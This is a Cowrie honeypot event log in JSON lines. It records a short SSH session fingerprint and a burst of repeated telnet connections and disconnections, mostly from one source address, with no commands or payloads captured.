{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.692413Z","src_ip":"194.59.206.2","session":"1253299ca603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.779492Z","src_ip":"194.59.206.2","session":"1253299ca603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.873016Z","src_ip":"194.59.206.2","session":"1253299ca603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36822,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ac4826b06c","protocol":"telnet","message":"New connection: 5.196.58.99:36822 (10.17.0.5:23) [session: 60ac4826b06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:19.924425Z"}
{"eventid":"cowrie.session.closed","duration":30.806909799575806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:20.049122Z","src_ip":"5.196.58.99","session":"a2b64501e08a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803690195083618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:21.066513Z","src_ip":"5.196.58.99","session":"e4504862b490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36826,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5cc4364bd0f","protocol":"telnet","message":"New connection: 5.196.58.99:36826 (10.17.0.5:23) [session: a5cc4364bd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:21.448429Z"}
{"eventid":"cowrie.session.closed","duration":30.84456491470337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:21.603899Z","src_ip":"5.196.58.99","session":"e2595fe5ae8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67273712158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:21.820197Z","src_ip":"5.196.58.99","session":"f368c4d0d099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36848,"dst_ip":"10.17.0.5","dst_port":23,"session":"08aba6fd3377","protocol":"telnet","message":"New connection: 5.196.58.99:36848 (10.17.0.5:23) [session: 08aba6fd3377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:21.923828Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36864,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d2df79acaeb","protocol":"telnet","message":"New connection: 5.196.58.99:36864 (10.17.0.5:23) [session: 1d2df79acaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:22.136668Z"}
{"eventid":"cowrie.session.closed","duration":31.493095636367798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:22.642423Z","src_ip":"5.196.58.99","session":"22a581de510f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36836,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fa5084bd42c","protocol":"telnet","message":"New connection: 5.196.58.99:36836 (10.17.0.5:23) [session: 2fa5084bd42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:22.646412Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36868,"dst_ip":"10.17.0.5","dst_port":23,"session":"b876049e27f2","protocol":"telnet","message":"New connection: 5.196.58.99:36868 (10.17.0.5:23) [session: b876049e27f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:22.655090Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36844,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3ed9808551a","protocol":"telnet","message":"New connection: 5.196.58.99:36844 (10.17.0.5:23) [session: e3ed9808551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:22.666813Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d204a6a84cd","protocol":"telnet","message":"New connection: 5.196.58.99:36878 (10.17.0.5:23) [session: 1d204a6a84cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:22.790596Z"}
{"eventid":"cowrie.session.closed","duration":30.480846405029297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:23.049954Z","src_ip":"5.196.58.99","session":"fa21e6e2307f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73203468322754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:23.182509Z","src_ip":"5.196.58.99","session":"35d396e99fea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670024871826172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:23.247524Z","src_ip":"5.196.58.99","session":"e994c2dca11d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36892,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8108dddb5b","protocol":"telnet","message":"New connection: 5.196.58.99:36892 (10.17.0.5:23) [session: ca8108dddb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:23.348129Z"}
{"eventid":"cowrie.session.closed","duration":30.486185312271118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:23.385836Z","src_ip":"5.196.58.99","session":"787c00f423e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2295024394989,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:23.982226Z","src_ip":"5.196.58.99","session":"64feb2bb8592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83502745628357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:24.068473Z","src_ip":"5.196.58.99","session":"3850b77fa2f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46120,"dst_ip":"10.17.0.5","dst_port":23,"session":"62821ac565c7","protocol":"telnet","message":"New connection: 5.196.58.99:46120 (10.17.0.5:23) [session: 62821ac565c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:24.834352Z"}
{"eventid":"cowrie.session.closed","duration":30.732954025268555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:25.151378Z","src_ip":"5.196.58.99","session":"dc7dd528d398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46136,"dst_ip":"10.17.0.5","dst_port":23,"session":"60428cbb1d42","protocol":"telnet","message":"New connection: 5.196.58.99:46136 (10.17.0.5:23) [session: 60428cbb1d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:25.271439Z"}
{"eventid":"cowrie.session.closed","duration":31.359349966049194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:25.579451Z","src_ip":"5.196.58.99","session":"9d253565f87f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935014247894287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:25.644417Z","src_ip":"5.196.58.99","session":"d545fe1b136c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52156,"dst_ip":"159.203.135.109","dst_port":23,"session":"9523eaed549b","protocol":"telnet","message":"New connection: 174.138.46.234:52156 (159.203.135.109:23) [session: 9523eaed549b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:25.847721Z"}
{"eventid":"cowrie.session.closed","duration":30.19775676727295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:26.046625Z","src_ip":"5.196.58.99","session":"eae264d50cd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.304862022399902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:26.069600Z","src_ip":"5.196.58.99","session":"c7887f2230c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9364116191864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:27.098934Z","src_ip":"5.196.58.99","session":"818231bf81ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366766929626465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:27.198681Z","src_ip":"5.196.58.99","session":"f3a55dc45317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890216588974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:27.453987Z","src_ip":"5.196.58.99","session":"8fe20e2411f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"2069e6f1a1cc","protocol":"telnet","message":"New connection: 5.196.58.99:46144 (10.17.0.5:23) [session: 2069e6f1a1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:27.595840Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46152,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7bec24c08df","protocol":"telnet","message":"New connection: 5.196.58.99:46152 (10.17.0.5:23) [session: c7bec24c08df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:27.656624Z"}
{"eventid":"cowrie.session.closed","duration":31.239181995391846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:28.226807Z","src_ip":"5.196.58.99","session":"bb6a6f93886d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.280535459518433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:28.341690Z","src_ip":"5.196.58.99","session":"528c64f0c406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527984142303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:28.462732Z","src_ip":"5.196.58.99","session":"b299a5e9b618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.253055572509766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:28.601408Z","src_ip":"5.196.58.99","session":"00350346f458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844347953796387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:28.721756Z","src_ip":"5.196.58.99","session":"dd98c47666fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.87281107902527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:28.875926Z","src_ip":"5.196.58.99","session":"a5829f63d5e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.325652360916138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:29.083677Z","src_ip":"5.196.58.99","session":"45adb77d1214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74882459640503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:29.354686Z","src_ip":"5.196.58.99","session":"371c22274a31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46162,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ed468fc9e6a","protocol":"telnet","message":"New connection: 5.196.58.99:46162 (10.17.0.5:23) [session: 5ed468fc9e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:29.446962Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46176,"dst_ip":"10.17.0.5","dst_port":23,"session":"33a4241206a3","protocol":"telnet","message":"New connection: 5.196.58.99:46176 (10.17.0.5:23) [session: 33a4241206a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:29.741750Z"}
{"eventid":"cowrie.session.closed","duration":30.255999326705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:30.043334Z","src_ip":"5.196.58.99","session":"639f9baeab98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46180,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0e762abe79","protocol":"telnet","message":"New connection: 5.196.58.99:46180 (10.17.0.5:23) [session: 8c0e762abe79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:30.151673Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46186,"dst_ip":"10.17.0.5","dst_port":23,"session":"f917dbc1f5a7","protocol":"telnet","message":"New connection: 5.196.58.99:46186 (10.17.0.5:23) [session: f917dbc1f5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:30.155982Z"}
{"eventid":"cowrie.session.closed","duration":31.161775827407837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:30.193071Z","src_ip":"5.196.58.99","session":"d8f131772da7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46190,"dst_ip":"10.17.0.5","dst_port":23,"session":"689264591166","protocol":"telnet","message":"New connection: 5.196.58.99:46190 (10.17.0.5:23) [session: 689264591166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:30.360802Z"}
{"eventid":"cowrie.session.closed","duration":30.457825422286987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:30.369277Z","src_ip":"5.196.58.99","session":"ebce87344e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46192,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fcdb30edc7f","protocol":"telnet","message":"New connection: 5.196.58.99:46192 (10.17.0.5:23) [session: 0fcdb30edc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:30.472957Z"}
{"eventid":"cowrie.session.closed","duration":5.940016746520996,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:31.787610Z","src_ip":"174.138.46.234","session":"9523eaed549b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46204,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b6d8cb59a02","protocol":"telnet","message":"New connection: 5.196.58.99:46204 (10.17.0.5:23) [session: 9b6d8cb59a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:31.925707Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46206,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d1163688149","protocol":"telnet","message":"New connection: 5.196.58.99:46206 (10.17.0.5:23) [session: 8d1163688149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:31.962656Z"}
{"eventid":"cowrie.session.closed","duration":30.38132119178772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:32.119204Z","src_ip":"5.196.58.99","session":"7e00ce7bb387","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.621826171875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:32.161901Z","src_ip":"5.196.58.99","session":"a65863bf44b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46222,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4f39f80e30b","protocol":"telnet","message":"New connection: 5.196.58.99:46222 (10.17.0.5:23) [session: c4f39f80e30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:32.229556Z"}
{"eventid":"cowrie.session.closed","duration":30.72516632080078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:32.333003Z","src_ip":"5.196.58.99","session":"277f9f07a22b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46232,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f47242c3f7c","protocol":"telnet","message":"New connection: 5.196.58.99:46232 (10.17.0.5:23) [session: 1f47242c3f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:32.754439Z"}
{"eventid":"cowrie.session.closed","duration":30.713053226470947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:33.115146Z","src_ip":"5.196.58.99","session":"188cc89bbda2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46224,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2f25a52f4c","protocol":"telnet","message":"New connection: 5.196.58.99:46224 (10.17.0.5:23) [session: 6b2f25a52f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:33.297669Z"}
{"eventid":"cowrie.session.closed","duration":31.038539171218872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:33.424758Z","src_ip":"5.196.58.99","session":"9b85c4fb1933","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47456,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c728505981c","protocol":"telnet","message":"New connection: 5.196.58.99:47456 (10.17.0.5:23) [session: 1c728505981c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:33.663661Z"}
{"eventid":"cowrie.session.closed","duration":30.644152641296387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.054728Z","src_ip":"5.196.58.99","session":"fb8210444237","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5543212890625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.110743Z","src_ip":"5.196.58.99","session":"562db73dd870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284914016723633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.120080Z","src_ip":"5.196.58.99","session":"1b957a744ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47458,"dst_ip":"10.17.0.5","dst_port":23,"session":"111f47abb3d2","protocol":"telnet","message":"New connection: 5.196.58.99:47458 (10.17.0.5:23) [session: 111f47abb3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.139357Z"}
{"eventid":"cowrie.session.closed","duration":30.936064958572388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.311738Z","src_ip":"5.196.58.99","session":"6c0718cb634f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":46238,"dst_ip":"10.17.0.5","dst_port":23,"session":"2553db994c53","protocol":"telnet","message":"New connection: 5.196.58.99:46238 (10.17.0.5:23) [session: 2553db994c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.570699Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47476,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb95ede468fa","protocol":"telnet","message":"New connection: 5.196.58.99:47476 (10.17.0.5:23) [session: bb95ede468fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.623850Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47502,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2a7d40e711","protocol":"telnet","message":"New connection: 5.196.58.99:47502 (10.17.0.5:23) [session: 2e2a7d40e711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:34.974528Z"}
{"eventid":"cowrie.session.closed","duration":30.22828221321106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:35.092431Z","src_ip":"5.196.58.99","session":"70811ebd358c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160950422286987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:35.336708Z","src_ip":"5.196.58.99","session":"015ac223b4bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47472,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b341acf03ce","protocol":"telnet","message":"New connection: 5.196.58.99:47472 (10.17.0.5:23) [session: 4b341acf03ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:35.342135Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47520,"dst_ip":"10.17.0.5","dst_port":23,"session":"36734d30e4a4","protocol":"telnet","message":"New connection: 5.196.58.99:47520 (10.17.0.5:23) [session: 36734d30e4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:35.433444Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc9f39efb7a","protocol":"telnet","message":"New connection: 5.196.58.99:47494 (10.17.0.5:23) [session: efc9f39efb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:35.914710Z"}
